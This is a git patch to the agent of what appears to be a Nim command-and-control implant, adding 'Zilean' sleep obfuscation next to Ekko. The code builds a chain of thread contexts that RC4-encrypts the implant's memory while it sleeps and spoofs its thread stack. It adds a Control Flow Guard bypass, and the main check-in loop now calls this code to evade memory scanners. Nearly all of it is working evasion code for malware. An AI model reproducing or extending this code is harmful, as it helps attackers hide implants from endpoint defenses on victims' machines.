From b19f8e12366ea4025a79cc0f1acbcf0d3b7638fa Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Tue, 2 Sep 2025 21:41:04 +0200 Subject: [PATCH] Implemented Zilean sleep obfuscation technique as an alternative to Ekko. --- src/agent/core/cfg.nim | 80 ++++++++++++ src/agent/core/coff.nim | 12 +- src/agent/core/sleepmask.nim | 234 ++++++++++++++++++++++------------- src/agent/main.nim | 3 +- src/common/types.nim | 4 + 5 files changed, 246 insertions(+), 87 deletions(-) create mode 100644 src/agent/core/cfg.nim diff --git a/src/agent/core/cfg.nim b/src/agent/core/cfg.nim new file mode 100644 index 0000000..d4435d6 --- /dev/null +++ b/src/agent/core/cfg.nim @@ -0,0 +1,80 @@ +# This is a Nim-Port of the CFG bypass required for Ekko sleep to work in a CFG enabled process (like rundll32.exe or explorer.exe) +# Original works : https://github.com/ScriptIdiot/sleepmask_ekko_cfg, https://github.com/Crypt0s/Ekko_CFG_Bypass +import winim/lean +import ../../common/utils + +type + CFG_CALL_TARGET_INFO {.pure.} = object + Offset: ULONG_PTR + Flags: ULONG_PTR + + VM_INFORMATION {.pure.} = object + dwNumberOfOffsets: DWORD + plOutput: ptr ULONG + ptOffsets: ptr CFG_CALL_TARGET_INFO + pMustBeZero: PVOID + pMoarZero: PVOID + + MEMORY_RANGE_ENTRY {.pure.} = object + VirtualAddress: PVOID + NumberOfBytes: SIZE_T + + VIRTUAL_MEMORY_INFORMATION_CLASS {.pure.} = enum + VmPrefetchInformation + VmPagePriorityInformation + VmCfgCalltargetInformation + VmPageDirtyStateInformation + +# https://ntdoc.m417z.com/ntsetinformationvirtualmemory +proc NtSetInformationVirtualMemory(hProcess: HANDLE, VmInformationClass: VIRTUAL_MEMORY_INFORMATION_CLASS, NumberOfEntries: ULONG_PTR, virtualAddresses: ptr MEMORY_RANGE_ENTRY, vmInformation: PVOID, VmInformationLength: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("NtSetInformationVirtualMemory"), dynlib: protect("ntdll.dll").} + +# Value taken from: https://www.codemachine.com/downloads/win10.1803/winnt.h +var CFG_CALL_TARGET_VALID = 0x00000001 + +proc evadeCFG*(address: PVOID): BOOL = + var dwOutput: ULONG + var status: NTSTATUS + var mbi: MEMORY_BASIC_INFORMATION + var vmInformation: VM_INFORMATION + var virtualAddresses: MEMORY_RANGE_ENTRY + var offsetInformation: CFG_CALL_TARGET_INFO + var size: SIZE_T + + # Get start of region in which function resides + size = VirtualQuery(address, addr(mbi), sizeof(mbi)) + + if size == 0x0: + return false + + if mbi.State != MEM_COMMIT or mbi.Type != MEM_IMAGE: + return false + + # Region in which to mark functions as valid CFG call targets + virtualAddresses.NumberOfBytes = cast[SIZE_T](mbi.RegionSize) + virtualAddresses.VirtualAddress = cast[PVOID](mbi.BaseAddress) + + # Create an Offset Information for the function that should be marked as valid for CFG + offsetInformation.Offset = cast[ULONG_PTR](address) - cast[ULONG_PTR](mbi.BaseAddress) + offsetInformation.Flags = CFG_CALL_TARGET_VALID # CFG_CALL_TARGET_VALID + + # Wrap the offsets into a VM_INFORMATION + vmInformation.dwNumberOfOffsets = 0x1 + vmInformation.plOutput = addr(dwOutput) + vmInformation.ptOffsets = addr(offsetInformation) + vmInformation.pMustBeZero = nil + vmInformation.pMoarZero = nil + + # Register `address` as a valid call target for CFG + status = NtSetInformationVirtualMemory( + GetCurrentProcess(), + VmCfgCalltargetInformation, + cast[ULONG_PTR](1), + addr(virtualAddresses), + cast[PVOID](addr(vmInformation)), + cast[ULONG](sizeof(vmInformation)) + ) + + if status != STATUS_SUCCESS: + return false + + return true \ No newline at end of file diff --git a/src/agent/core/coff.nim b/src/agent/core/coff.nim index d2489e0..6e02262 100644 --- a/src/agent/core/coff.nim +++ b/src/agent/core/coff.nim @@ -346,8 +346,10 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: # Verifying that the object file's architecture is x64 when defined(amd64): if objCtx.union.header.Machine != IMAGE_FILE_MACHINE_AMD64: + RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) raise newException(CatchableError, "Only x64 object files are supported") else: + RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) raise newException(CatchableError, "Only x64 object files are supported") # Calculate required virtual memory @@ -357,13 +359,17 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: # Allocate memory virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE) if virtAddr == NULL: + RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) raise newException(CatchableError, $GetLastError()) + defer: VirtualFree(virtAddr, 0, MEM_RELEASE) # Allocate heap memory to store section map array objCtx.secMap = cast[PSECTION_MAP](HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, int(objCtx.union.header.NumberOfSections) * sizeof(SECTION_MAP))) if objCtx.secMap == NULL: + RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) raise newException(CatchableError, $GetLastError()) - + defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, objCtx.secMap) + echo fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)" # Set the section base to the allocated memory @@ -392,14 +398,18 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: echo "[*] Processing sections and performing relocations." if not objectProcessSection(addr objCtx): + RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) raise newException(CatchableError, "Failed to process sections.") # Executing the object file echo "[*] Executing." if not objectExecute(addr objCtx, entryFunction, args): + RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) raise newException(CatchableError, fmt"Failed to execute function {$entryFunction}.") echo "[+] Object file executed successfully." + RtlSecureZeroMemory(addr objCtx, sizeof(objCtx)) + return true #[ diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim index 355d9cf..6b00a42 100644 --- a/src/agent/core/sleepmask.nim +++ b/src/agent/core/sleepmask.nim @@ -1,7 +1,9 @@ import winim/lean import winim/inc/tlhelp32 import os, system, strformat -import ../../common/[types, utils, crypto] + +import ./cfg +import ../../common/[types, utils, crypto] # Sleep obfuscation implementation based on Ekko, originally developed by C5pider # The code in this file was taken from the MalDev Academy modules 54, 56 & 59 and translated from C to Nim @@ -18,11 +20,15 @@ type NotificationEvent, SynchronizationEvent + WAIT_CALLBACK_ROUTINE = proc(Parameter: PVOID, TimerOrWaitFired: BOOLEAN): VOID + PWAIT_CALLBACK_ROUTINE = ptr WAIT_CALLBACK_ROUTINE + # Required APIs (definitions taken from NtDoc) proc RtlCreateTimerQueue*(phTimerQueueHandle: PHANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimerQueue"), dynlib: protect("ntdll.dll").} proc RtlDeleteTimerQueue(hQueue: HANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlDeleteTimerQueue"), dynlib: protect("ntdll.dll").} proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.cdecl, stdcall, importc: protect("NtCreateEvent"), dynlib: protect("ntdll.dll").} proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").} +proc RtlRegisterWait( hWait: PHANDLE, handle: HANDLE, function: PWAIT_CALLBACK_ROUTINE, ctx: PVOID, ms: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlRegisterWait"), dynlib: protect("ntdll.dll").} proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").} proc NtDuplicateObject(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.cdecl, stdcall, importc: protect("NtDuplicateObject"), dynlib: protect("ntdll.dll").} proc NtSetEvent(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.cdecl, stdcall, importc: protect("NtSetEvent"), dynlib: protect("ntdll.dll").} @@ -62,13 +68,18 @@ proc GetRandomThreadCtx(): CONTEXT = continue echo fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing." - break + break return ctx # Ekko sleep obfuscation with stack spoofing -proc sleepEkko*(sleepDelay: int) = +proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofStack: bool = true) = + echo fmt"[*] Using {$mode} for sleep obfuscation [Stack duplication: {$spoofStack}]." + + if sleepDelay == 0: + return + var status: NTSTATUS = 0 img: USTRING = USTRING(Length: 0) @@ -78,12 +89,13 @@ proc sleepEkko*(sleepDelay: int) = ctxBackup: CONTEXT ctxSpoof: CONTEXT hThread: HANDLE - hEvent: HANDLE + hEventTimer: HANDLE + hEventWait: HANDLE hEventStart: HANDLE hEventEnd: HANDLE queue: HANDLE timer: HANDLE - value: DWORD = 0 + oldProtection: DWORD = 0 delay: DWORD = 0 try: @@ -91,11 +103,14 @@ proc sleepEkko*(sleepDelay: int) = NtContinue = GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtContinue")) SystemFunction032 = GetProcAddress(LoadLibraryA(protect("Advapi32")), protect("SystemFunction032")) + # Add NtContinue to the Control Flow Guard allow list to make Ekko work in processes protected by CFG + discard evadeCFG(NtContinue) + # Locate image base and size var imageBase = GetModuleHandleA(NULL) var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage # echo fmt"[+] Image base at: 0x{cast[uint64](imageBase).toHex()} ({imageSize} bytes)" - + img.Buffer = cast[PVOID](imageBase) img.Length = imageSize @@ -104,128 +119,177 @@ proc sleepEkko*(sleepDelay: int) = key.Buffer = keyBuffer.addr key.Length = cast[DWORD](keyBuffer.len()) - # Sleep obfuscation implementation using NTAPI + # Sleep obfuscation implementation using Windows Native API functions # Create timer queue - status = RtlCreateTimerQueue(addr queue) - if status != STATUS_SUCCESS: - raise newException(CatchableError, $status.toHex()) - defer: discard RtlDeleteTimerQueue(queue) + if mode == EKKO: + status = RtlCreateTimerQueue(addr queue) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "RtlCreateTimerQueue " & $status.toHex()) # Create events - status = NtCreateEvent(addr hEvent, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) + status = NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: - raise newException(CatchableError, $status.toHex()) - defer: CloseHandle(hEvent) + raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) + + if mode == ZILEAN: + status = NtCreateEvent(addr hEventWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) status = NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: - raise newException(CatchableError, $status.toHex()) - defer: CloseHandle(hEventStart) + raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) status = NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) if status != STATUS_SUCCESS: - raise newException(CatchableError, $status.toHex()) - defer: CloseHandle(hEventEnd) + raise newException(CatchableError, "NtCreateEvent " & $status.toHex()) - # Retrieve a random thread context from the current process - ctxSpoof = GetRandomThreadCtx() + if mode == EKKO: + # Retrieve the initial thread context + delay += 100 + status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "RtlCreateTimer/RtlCaptureContext " & $status.toHex()) - # Retrieve the initial thread context - status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD) + # Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming + delay += 100 + status = RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "RtlCreateTimer/SetEvent " & $status.toHex()) + + elif mode == ZILEAN: + delay += 100 + status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](RtlCaptureContext), addr ctxInit, delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "RtlRegisterWait/RtlCaptureContext " & $status.toHex()) + + delay += 100 + status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](SetEvent), cast[PVOID](hEventTimer), delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "RtlRegisterWait/SetEvent " & $status.toHex()) + + # Wait for events to finish before continuing + status = NtWaitForSingleObject(hEventTimer, FALSE, NULL) if status != STATUS_SUCCESS: - raise newException(CatchableError, $status.toHex()) + raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex()) - # Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming - status = RtlCreateTimer(queue, addr timer, SetEvent, addr hEvent, 0, 0, WT_EXECUTEINTIMERTHREAD) - if status != STATUS_SUCCESS: - raise newException(CatchableError, $status.toHex()) - - WaitForSingleObject(hEvent, 1000) - - # Create handle to the current process - status = NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0) - if status != STATUS_SUCCESS: - raise newException(CatchableError, $status.toHex()) - defer: CloseHandle(hThread) + if spoofStack: + # Stack duplication + # Create handle to the current process + # Retrieve a random thread context from the current process + ctxSpoof = GetRandomThreadCtx() + status = NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "NtDuplicateObject " & $status.toHex()) # Preparing the ROP chain # Initially, each element in this array will have the same context as the timer's thread context for i in 0 ..< ctx.len(): copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT)) - dec(ctx[i].Rsp, 8) # Stack alignment, due to the RSP register being incremented by the size of a pointer + dec(ctx[i].Rsp, sizeof(PVOID)) # Stack alignment, due to the RSP register being incremented by the size of a pointer + var gadget = 0 + # ROP Chain # ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain. - ctx[0].Rip = cast[DWORD64](WaitForSingleObjectEx) - ctx[0].Rcx = cast[DWORD64](hEventStart) - ctx[0].Rdx = cast[DWORD64](INFINITE) - ctx[0].R8 = cast[DWORD64](NULL) + ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx) + ctx[gadget].Rcx = cast[DWORD64](hEventStart) + ctx[gadget].Rdx = cast[DWORD64](INFINITE) + ctx[gadget].R8 = cast[DWORD64](FALSE) + inc gadget # ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-] - ctx[1].Rip = cast[DWORD64](VirtualProtect) - ctx[1].Rcx = cast[DWORD64](imageBase) - ctx[1].Rdx = cast[DWORD64](imageSize) - ctx[1].R8 = cast[DWORD64](PAGE_READWRITE) - ctx[1].R9 = cast[DWORD64](addr value) + ctx[gadget].Rip = cast[DWORD64](VirtualProtect) + ctx[gadget].Rcx = cast[DWORD64](imageBase) + ctx[gadget].Rdx = cast[DWORD64](imageSize) + ctx[gadget].R8 = cast[DWORD64](PAGE_READWRITE) + ctx[gadget].R9 = cast[DWORD64](addr oldProtection) + inc gadget # ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4. - ctx[2].Rip = cast[DWORD64](SystemFunction032) - ctx[2].Rcx = cast[DWORD64](addr img) - ctx[2].Rdx = cast[DWORD64](addr key) + ctx[gadget].Rip = cast[DWORD64](SystemFunction032) + ctx[gadget].Rcx = cast[DWORD64](addr img) + ctx[gadget].Rdx = cast[DWORD64](addr key) + inc gadget - # Ctx[3] contains the call to GetThreadContext, which retrieves the payload's main thread context and saves it into the CtxBackup variable for later restoration. - ctxBackup.ContextFlags = CONTEXT_ALL - ctx[3].Rip = cast[DWORD64](GetThreadContext) - ctx[3].Rcx = cast[DWORD64](hThread) - ctx[3].Rdx = cast[DWORD64](addr ctxBackup) + if spoofStack: + # ctx[3] contains the call to GetThreadContext, which retrieves the payload's main thread context and saves it into the CtxBackup variable for later restoration. + ctxBackup.ContextFlags = CONTEXT_ALL + ctx[gadget].Rip = cast[DWORD64](GetThreadContext) + ctx[gadget].Rcx = cast[DWORD64](hThread) + ctx[gadget].Rdx = cast[DWORD64](addr ctxBackup) + inc gadget - # Ctx[4] contains the call to SetThreadContext that will spoof the payload thread by setting the thread context with the stolen context. - ctx[4].Rip = cast[DWORD64](SetThreadContext) - ctx[4].Rcx = cast[DWORD64](hThread) - ctx[4].Rdx = cast[DWORD64](addr ctxSpoof) + # ctx[4] contains the call to SetThreadContext that will spoof the payload thread by setting the thread context with the stolen context. + ctx[gadget].Rip = cast[DWORD64](SetThreadContext) + ctx[gadget].Rcx = cast[DWORD64](hThread) + ctx[gadget].Rdx = cast[DWORD64](addr ctxSpoof) + inc gadget # ctx[5] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached. - ctx[5].Rip = cast[DWORD64](WaitForSingleObjectEx) - ctx[5].Rcx = cast[DWORD64](GetCurrentProcess()) - ctx[5].Rdx = cast[DWORD64](cast[DWORD](sleepDelay)) - ctx[5].R8 = cast[DWORD64](FALSE) + ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx) + ctx[gadget].Rcx = cast[DWORD64](GetCurrentProcess()) + ctx[gadget].Rdx = cast[DWORD64](cast[DWORD](sleepDelay)) + ctx[gadget].R8 = cast[DWORD64](FALSE) + inc gadget # ctx[6] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory - ctx[6].Rip = cast[DWORD64](SystemFunction032) - ctx[6].Rcx = cast[DWORD64](addr img) - ctx[6].Rdx = cast[DWORD64](addr key) + ctx[gadget].Rip = cast[DWORD64](SystemFunction032) + ctx[gadget].Rcx = cast[DWORD64](addr img) + ctx[gadget].Rdx = cast[DWORD64](addr key) + inc gadget - # Ctx[7] calls SetThreadContext to restore the original thread context from the previously saved CtxBackup. - ctx[7].Rip = cast[DWORD64](SetThreadContext) - ctx[7].Rcx = cast[DWORD64](hThread) - ctx[7].Rdx = cast[DWORD64](addr ctxBackup) + if spoofStack: + # ctx[7] calls SetThreadContext to restore the original thread context from the previously saved CtxBackup. + ctx[gadget].Rip = cast[DWORD64](SetThreadContext) + ctx[gadget].Rcx = cast[DWORD64](hThread) + ctx[gadget].Rdx = cast[DWORD64](addr ctxBackup) + inc gadget - # ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X] - ctx[8].Rip = cast[DWORD64](VirtualProtect) - ctx[8].Rcx = cast[DWORD64](imageBase) - ctx[8].Rdx = cast[DWORD64](imageSize) - ctx[8].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE) - ctx[8].R9 = cast[DWORD64](addr value) + # ctx[8] contains the call to VirtualProtect to change the payload memory back to [R-X] + ctx[gadget].Rip = cast[DWORD64](VirtualProtect) + ctx[gadget].Rcx = cast[DWORD64](imageBase) + ctx[gadget].Rdx = cast[DWORD64](imageSize) + ctx[gadget].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE) + ctx[gadget].R9 = cast[DWORD64](addr oldProtection) + inc gadget - # ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete - ctx[9].Rip = cast[DWORD64](NtSetEvent) - ctx[9].Rcx = cast[DWORD64](hEventEnd) - ctx[9].Rdx = cast[DWORD64](NULL) + # ctx[9] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete + ctx[gadget].Rip = cast[DWORD64](NtSetEvent) + ctx[gadget].Rcx = cast[DWORD64](hEventEnd) + ctx[gadget].Rdx = cast[DWORD64](NULL) # Executing timers - for i in 0 ..< ctx.len(): + for i in 0 .. gadget: delay += 100 - status = RtlCreateTimer(queue, addr timer, NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD) - if status != STATUS_SUCCESS: - raise newException(CatchableError, $status.toHex()) + + if mode == EKKO: + status = RtlCreateTimer(queue, addr timer, NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex()) + elif mode == ZILEAN: + status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](NtContinue), addr ctx[i], delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD) + if status != STATUS_SUCCESS: + raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex()) + echo protect("[*] Triggering sleep obfuscation.") status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL) - if status != STATUS_SUCCESS: - raise newException(CatchableError, $status.toHex()) + raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex()) + + echo protect("[*] Ending sleep obfuscation.") except CatchableError as err: sleep(sleepDelay) - echo protect("[-] "), err.msg \ No newline at end of file + echo protect("[-] "), err.msg + + finally: + # Cleanup + if queue != 0: discard RtlDeleteTimerQueue(queue) + if hEventTimer != 0: CloseHandle(hEventTimer) + if hEventWait != 0: CloseHandle(hEventWait) + if hEventStart != 0: CloseHandle(hEventStart) + if hEventEnd != 0: CloseHandle(hEventEnd) + if hThread != 0: CloseHandle(hThread) \ No newline at end of file diff --git a/src/agent/main.nim b/src/agent/main.nim index e2fe8a7..b137f3e 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -36,7 +36,8 @@ proc main() = while true: # Sleep obfuscation with stack spoofing to evade memory scanners - sleepEkko(ctx.sleep * 1000) + sleepObfuscate(ctx.sleep * 1000, ZILEAN) + # sleep(ctx.sleep * 1000) let date: string = now().format("dd-MM-yyyy HH:mm:ss") echo "\n", fmt"[*] [{date}] Checking in." diff --git a/src/common/types.nim b/src/common/types.nim index 00b4960..464e61f 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -76,6 +76,10 @@ type LOG_SUCCESS = "[DONE] " LOG_WARNING = "[WARN] " + SleepObfuscationMode* = enum + EKKO = 0'u8 + ZILEAN = 1'u8 + # Encryption type Uuid* = uint32